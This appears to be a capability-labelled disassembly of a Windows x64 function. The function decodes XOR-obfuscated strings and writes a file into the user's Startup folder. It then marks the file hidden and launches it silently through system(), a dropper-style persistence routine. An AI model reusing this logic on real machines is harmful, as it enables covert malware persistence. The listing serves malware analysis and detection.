Function at 0x140002be0
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Encode data using xor
Execute command
Get common file path
Get file attributes
Get startup folder
Set file attributes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x220]
sub rsp, 0x320
mov rax, qword [0x14000b040]
xor rax, rsp
mov qword [rbp + 0x210], rax
xor ebx, ebx
call fcn.1400021e0
call fcn.140002740
movdqa xmm0, xmmword [0x1400076d0]
movdqu xmmword [rsp + 0x38], xmm0
movdqa xmm1, xmmword [0x140007700]
movdqu xmmword [rsp + 0x48], xmm1
mov dword [rsp + 0x58], 0x7458366b
mov dword [rsp + 0x5c], 0x677b3368
mov word [rsp + 0x60], 0x45
mov byte [rsp + 0x62], 1
mov ecx, ebx
nop dword [rax + rax]
lea eax, [rcx - 8]
xor byte [rsp + rcx + 0x38], al
inc rcx
cmp rcx, 0x29
jb 0x140002c60
mov byte [rsp + 0x62], bl
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x68]
call fcn.140004170
nop
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0xe0]
call fcn.140001470
nop
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x140002cd5
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002cd0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002cd0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000507c
movdqa xmm0, xmmword [0x1400076b0]
movdqu xmmword [rsp + 0x78], xmm0
mov byte [rsp + 0x68], 0
cmp qword [rbp + 0xf0], 0
je 0x14000323e
lea rax, [rbp + 0x100]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 7]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jne 0x14000323e
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x50], rbx
lea rax, [rbp + 0x100]
mov rdi, 0xffffffffffffffff
nop dword [rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x140002d40
movabs rsi, 0x7fffffffffffffff
cmp rdi, rsi
ja 0x1400032ae
mov qword [rsp + 0x50], 0xf
cmp rdi, 0xf
ja 0x140002d8e
mov qword [rsp + 0x48], rdi
mov r8, rdi
lea rdx, [rbp + 0x100]
lea rcx, [rsp + 0x38]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rdi + 0x38], 0
jmp 0x140002e2d
mov rax, rdi
or rax, 0xf
cmp rax, rsi
jbe 0x140002dc3
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140005040
test rax, rax
je 0x140002dee
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x140002e07
mov rsi, rax
mov ecx, 0x16
cmp rax, rcx
cmovb rsi, rcx
lea rcx, [rsi + 1]
cmp rcx, 0x1000
jb 0x140002df5
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400032b4
jmp 0x140002da8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140002e04
call fcn.140005040
mov r14, rax
jmp 0x140002e07
mov r14, rbx
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], rsi
mov r8, rdi
lea rdx, [rbp + 0x100]
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [r14 + rdi], 0
movdqa xmm0, xmmword [0x1400076c0]
movdqu xmmword [rsp + 0x68], xmm0
mov byte [rsp + 0x78], 1
mov rcx, rbx
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 8]
xor byte [rsp + rcx + 0x68], al
inc rcx
cmp rcx, 0xf
jb 0x140002e50
mov byte [rsp + 0x78], 0
lea r8, [rsp + 0x68]
lea rdx, [rsp + 0x38]
lea rcx, [rbp + 0xa0]
call fcn.1400048d0
nop
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x140002ebc
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002eb7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002eb7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000507c
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x50], 0xf
mov byte [rsp + 0x38], 0
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp - 0x70]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0xf
cmova rdx, qword [rbp + 0xa0]
lea rcx, [rbp - 0x70]
call fcn.140004550
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x70], rax
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x74], edx
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x70]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
test al, al
jne 0x1400031d9
lea rdx, [rbp + 0xe0]
cmp qword [rbp + 0xf8], 0xf
cmova rdx, qword [rbp + 0xe0]
mov r8, qword [rbp + 0xf0]
lea rcx, [rbp - 0x70]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp - 0x68]
call fcn.140004490
test rax, rax
jne 0x140002f95
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x70]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rcx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0xf
cmova rcx, qword [rbp + 0xa0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x140002fd9
lea rcx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0xf
cmova rcx, qword [rbp + 0xa0]
or eax, 2
mov edx, eax
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x48], 7
mov qword [rsp + 0x50], 0xf
mov rax, qword [str._silent]
mov dword [rsp + 0x38], eax
movzx eax, word [0x1400075ec]
mov word [rsp + 0x3c], ax
movzx eax, byte [0x1400075ee]
mov byte [rsp + 0x3e], al
mov byte [rsp + 0x3f], 0
lea rdx, [rsp + 0x38]
lea rcx, [rbp + 0xa0]
call fcn.140001dc0
nop
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x140003069
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003064
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400031b6
call fcn.14000507c
mov dword [rsp + 0x68], 0x899b8d8b
mov dword [rsp + 0x6c], 0xdddcdd88
mov dword [rsp + 0x70], 0x1002320
nop dword [rax]
nop word [rax + rax]
lea eax, [rbx - 8]
xor byte [rsp + rbx + 0x68], al
inc rbx
cmp rbx, 0xa
jb 0x140003090
mov byte [rsp + 0x73], 0
lea r8, [rbp + 0xa0]
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x38]
call fcn.140004770
nop
mov word [rsp + 0x30], 0x22
mov byte [rsp + 0x32], 0
lea r8, [rsp + 0x30]
mov rdx, rax
lea rcx, [rbp + 0xc0]
call fcn.1400048d0
nop
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x14000311d
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003118
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003118
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000507c
lea rcx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0xf
cmova rcx, qword [rbp + 0xa0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x140003161
lea rcx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0xf
cmova rcx, qword [rbp + 0xa0]
or eax, 2
mov edx, eax
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rcx, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 0xf
cmova rcx, qword [rbp + 0xc0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0xf
jbe 0x1400031c2
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400031bd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400031bd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000507c
movdqa xmm0, xmmword [0x1400076b0]
movdqu xmmword [rbp + 0xd0], xmm0
mov byte [rbp + 0xc0], 0
lea rcx, [rbp - 0x70]
call fcn.140002680
nop
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0xf
jbe 0x140003227
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003222
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003222
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000507c
movdqa xmm0, xmmword [0x1400076b0]
movdqu xmmword [rbp + 0xb0], xmm0
mov byte [rbp + 0xa0], 0
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0xf
jbe 0x140003282
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000327d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000327d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000507c
mov rcx, qword [rbp + 0x210]
xor rcx, rsp
call fcn.140005020
lea r11, [rsp + 0x320]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.1400011b0
nop
call fcn.140001110
int3